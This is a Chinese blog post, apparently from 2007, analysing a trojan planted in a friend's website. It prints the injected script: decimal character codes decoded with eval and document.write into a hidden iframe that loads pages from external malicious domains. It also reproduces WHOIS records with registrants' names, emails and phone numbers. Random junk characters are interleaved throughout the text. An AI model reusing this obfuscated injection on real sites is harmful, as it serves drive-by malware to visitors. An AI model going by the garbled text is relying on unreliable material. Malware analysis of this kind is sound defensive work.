首发在我的博客里面，
B;Ab`UX#t B x 0^?> http://www.areway.cn/?p=175 |[(4h Y uSe~~F)j w' K\}G~ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
1uz9zhG>< Kc_QxON4 <script>t=’60,105,102,114,97,109,101,
YOwo\ '|= 32,115,114,99,61,104,116,116,112,58,47,47,
:M 9'wg 102,114,101,101,46,117,45,117,117,117,46,99,
n^'ip{ 110,47,101,114,114,111,114,46,104,116,109,
.5|AX6p+^ 32,119,105,100,116,104,61,49,48,48,32,104,
t Krr5SRb 101,105,103,104,116,61,48,62,60,47,105,102,
HT)b3Ws~M8 114,97,109,101,62′;
]Gm,sp.x t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
}"w WSPD B5*{85p(u <script>t=’60,105,102,114,97,109,101,32,115,
}MW*xtGV 114,99,61,104,116,116,112,58,47,47,102,114,
[tym~ZZ]_m 101,101,46,117,45,117,117,117,46,99,110,47,
q0{KYW Ovk 101,114,114,111,114,46,104,116,109,32,119,
J!O5 `k*.C 105,100,116,104,61,49,48,48,32,104,101,105,
nzE 4P3 C+ 103,104,116,61,48,62,60,47,105,102,114,97,
v' .:?9 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
\ F#mwl,>" document.write(t);</script>
Q\&FuU .9+"rK}u <html xmlns=”
%/b?T]{ http://www.w3.org/1999/xhtml frbKi _1 “>
ZXljCiNn+\ <head>
A
U9Y0< <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
GLQ1rT <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
JDfkm+}uY <title>首页 - 爱生活家庭网
|4aV~ n[># f!a[+^RB: 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
%s P C3L 转换字符串后的大概内容是（谁点击后果自付）：
zg+ 7 8 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
N[d*_KN.! [
\ LA 查询玉米u-uuu.cn的详细信息：
EWNh:<F? Domain Name: u-uuu.cn
zm)
]cq ROID: 20070901s10001s64972306-cn
hH[UIe Domain Status: ok
xK 9"t;!C& Registrant Organization: 王雷
uS<7X7 |!0 Registrant Name: 王雷
=z'- B~ Administrative Email:
czlovexs@126.com _ HX 1E Sponsoring Registrar: 北京万网志成科技有限公司
Z0g3> iItM Name Server:ns.yovole.com
]N_(M Name Server:ns1.yovole.com
f1 (V~{N,+ Registration Date: 2007-09-01 17:54
c< L^ 1,G2 Expiration Date: 2008-09-01 17:54
{[hH:
\ 最后PING了一下地址 都没有什么….
*Uie{^p?
<:0649ZB 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
U:m[*
}+< <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
fs+l <script language=”javascript” src=”
(xpj?zlmM http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script =` [ 08 >
=Ig'Aw$ x 这个玉米应该有可能是木马作者的：
v Ic 0V foafau.info的详细信息：
3P~I' FQ Access to INFO WHOIS information is provided to assist persons in
u@5vK2 determining the contents of a domain name registration record in the
/:d03N\9k Afilias registry database. The data in this record is provided by
_}R?&yO Afilias Limited for informational purposes only, and Afilias does not
U*`7 guarantee its accuracy. This service is intended only for query-based
ewg&DBbN" access. You agree that you will use this data only for lawful purposes
Gf\Dc and that, under no circumstances will you use this data to: (a) allow,
LvgNdVJDP| enable, or otherwise support the transmission by e-mail, telephone, or
[>QV^2'Z facsimile of mass unsolicited, commercial advertising or solicitations
W&ya_iP~C to entities other than the data recipient’s own existing customers; or
!c[(#g (b) enable high volume, automated, electronic processes that send
L&ySX c= queries or data to the systems of Registry Operator, a Registrar, or
>B/ jTn5= Afilias except as reasonably necessary to register domain names or
a_XM2d c% modify existing registrations. All rights reserved. Afilias reserves
"-Gjw B the right to modify these terms at any time. By submitting this query,
exrsYo!% you agree to abide by this policy.
- FV$Sne Domain ID:D22418703-LRMS
IJ2 ]2FI Domain Name:FOAFAU.INFO
tp<uN~rTgh Created On:20-Nov-2007 16:05:42 UTC
3?SofPtc/ Last Updated On:20-Nov-2007 16:05:44 UTC
xZW6Hk _ Expiration Date:20-Nov-2008 16:05:42 UTC
*CZvi0& Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
m d:$O C3 Status:CLIENT DELETE PROHIBITED
Y~EKMowI&e Status:CLIENT RENEW PROHIBITED
RB.& ,1 Status:CLIENT TRANSFER PROHIBITED
@-nCK Yj Status:CLIENT UPDATE PROHIBITED
S/G6NBnbS Status:TRANSFER PROHIBITED
4zs1 BiMG Registrant ID:GODA-040110615
,}2yxo;i Registrant Name:liu hong
H$TYp Registrant Organization:
0KO_bF#EB= Registrant Street1:beijing
*c4uCI:0t Registrant Street2:
lMz5))Rr Registrant Street3:
La9v97H: Registrant City:beijing
sc'QNhrW Registrant State/Province:
*t J+!1 Registrant Postal Code:100000
Wc [@, Registrant Country:CN
a)=WDRk Registrant Phone:+86.860108888777
T`KH7y|bv Registrant Phone Ext.:
qOYCQ Registrant FAX:
rStfluPL Registrant FAX Ext.:
vKN"o* q Registrant Email:bbbshiji@163.com
3-#|6khqt Admin ID:GODA-240110615
oV utHt Admin Name:liu hong
gXN#<g,:^ Admin Organization:
]Aap4+s Admin Street1:beijing
ga&l.:lo Admin Street2:
wU,{ 5 w Admin Street3:
^_ <jg0V Admin City:beijing
#mwV66'H Admin State/Province:
R2WEPMH% Admin Postal Code:100000
sKYb&2 wJ Admin Country:CN
s2A3.S N Admin Phone:+86.860108888777
EM]~yn!+ Admin Phone Ext.:
S'M=P_-7 Admin FAX:
7 ^,C=2
Admin FAX Ext.:
Ci6yH( RE Admin Email:bbbshiji@163.com
Sp$~)f' Billing ID:GODA-340110615
E6a$c`H @? Billing Name:liu hong
iL(rZT&^ Billing Organization:
m<)0 XE 6w Billing Street1:beijing
Z&FC:4!! Billing Street2:
g*C&Pr3 Billing Street3:
:acnrW>i[@ Billing City:beijing
+g,:!5pg Billing State/Province:
Gc2s Y 0 Billing Postal Code:100000
S!U e+jW Billing Country:CN
{|?OKCG{ Billing Phone:+86.860108888777
~ l"70\& Billing Phone Ext.:
C c*"cQ e Billing FAX:
i0DYdUj Billing FAX Ext.:
wjh[}rTV* Billing Email:bbbshiji@163.com
Nw ;BhBt Tech ID:GODA-140110615
f D+'{ivN4 Tech Name:liu hong
cs E 9Ns Tech Organization:
7NC"}JB& Tech Street1:beijing
.|Y2'TWQ Tech Street2:
'W>Bz,M6yo Tech Street3:
6*,'A|t?y Tech City:beijing
(+7gS_c Tech State/Province:
|S48xsFvq Tech Postal Code:100000
eUlF4l< ] Tech Country:CN
w"d~R Tech Phone:+86.860108888777
YBn"9w\# Tech Phone Ext.:
#-
$?2?2 Tech FAX:
nN " Y~W^k Tech FAX Ext.:
q !\Ht2$b Tech Email:bbbshiji@163.com
2KVMQH`B9 Name Server:NS27.DOMAINCONTROL.COM
L4`bGZl55 Name Server:NS28.DOMAINCONTROL.COM
pOP`n 3m0 Name Server:
UMR0S5`} Name Server:
gX<"-,5jc Name Server:
N: 'v^0 Name Server:
?8[,0l:| Name Server:
+7n;Bs k
_ Name Server:
`<&RZB2 Name Server:
cPA -EH Name Server:
Pk/ {~!+
$ Name Server:
NIufL
}6\ Name Server:
cF!ygz// Name Server:
=ic"K6mhq KrE:ilm#^Y 接着下载每个文件里面的代码：
K +n 一步一步看..
4cJ7W_ >i6 
Cj31>k1 
?B
; +, 
G)5w_^&% 
ZN>o z@j Y 
hZ NS$ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
